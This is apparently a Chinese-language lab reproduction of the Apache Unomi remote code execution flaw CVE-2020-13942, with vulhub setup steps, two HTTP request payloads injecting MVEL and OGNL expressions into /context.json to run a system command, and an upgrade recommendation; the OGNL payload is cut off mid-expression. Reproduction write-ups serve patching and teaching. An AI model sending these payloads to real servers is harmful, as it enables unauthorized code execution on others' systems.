ApacheUnomi远程代码执⾏漏洞(CVE-2020-13942)复现漏洞描述
Apache Unomi是⼀个Java开源客户数据平台,这是⼀个Java服务器,旨在管理客户,潜在顾客和访问者的数据,并帮助个性化客户体验。Unomi可⽤于在⾮常不同的系统(例如CMS,CRM,问题跟踪器,本机移动应⽤程序等)中集成个性化和配置⽂件管理。
Apache Unomi允许远程攻击者使⽤可能包含任意类的MVEL和OGNL表达式发送恶意请求,从⽽产⽣具有Unomi应⽤程序特权的远程代码执⾏(RCE)。⽬前互联⽹上已经公布漏洞利⽤相关POC,建议相关⽤户及时进⾏资产⾃查。
影响版本
Apache Unomi < 1.5.2
环境搭建
使⽤vulhub来搭建环境
github/vulhub/vulhub/blob/master/unomi/CVE-2020-13942/README.zh-cn.md
进⼊⽬录并启动⼀个Apache Unomi 1.5.1的服务器:
cd vulhub-master/unomi/CVE-2020-13942/
docker-compose up -d
漏洞复现
通过MVEL表达式执⾏任意命令
构建数据包并发送
POST /context.json HTTP/1.1
Host: 192.168.204.136:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Connection: close
Content-Type: application/json
Content-Length: 483
{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime(); r.exec(\"touch /tmp/mvel\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}
docker exec -it 3222ebb5ea1c /bin/bash
进⼊镜像⾥⾯发现执⾏了
再看看通过OGNL表达式执⾏任意命令
POST /context.json HTTP/1.1
Host: localhost:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/jsoncve漏洞库
Content-Length: 1064
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #Class().forName(\"java.lang.Runtime\")).(#getruntimemethod = #DeclaredMethods().{^ #th                  "comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"sample"
}
命令成功执⾏
修复建议升级到安全版本

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。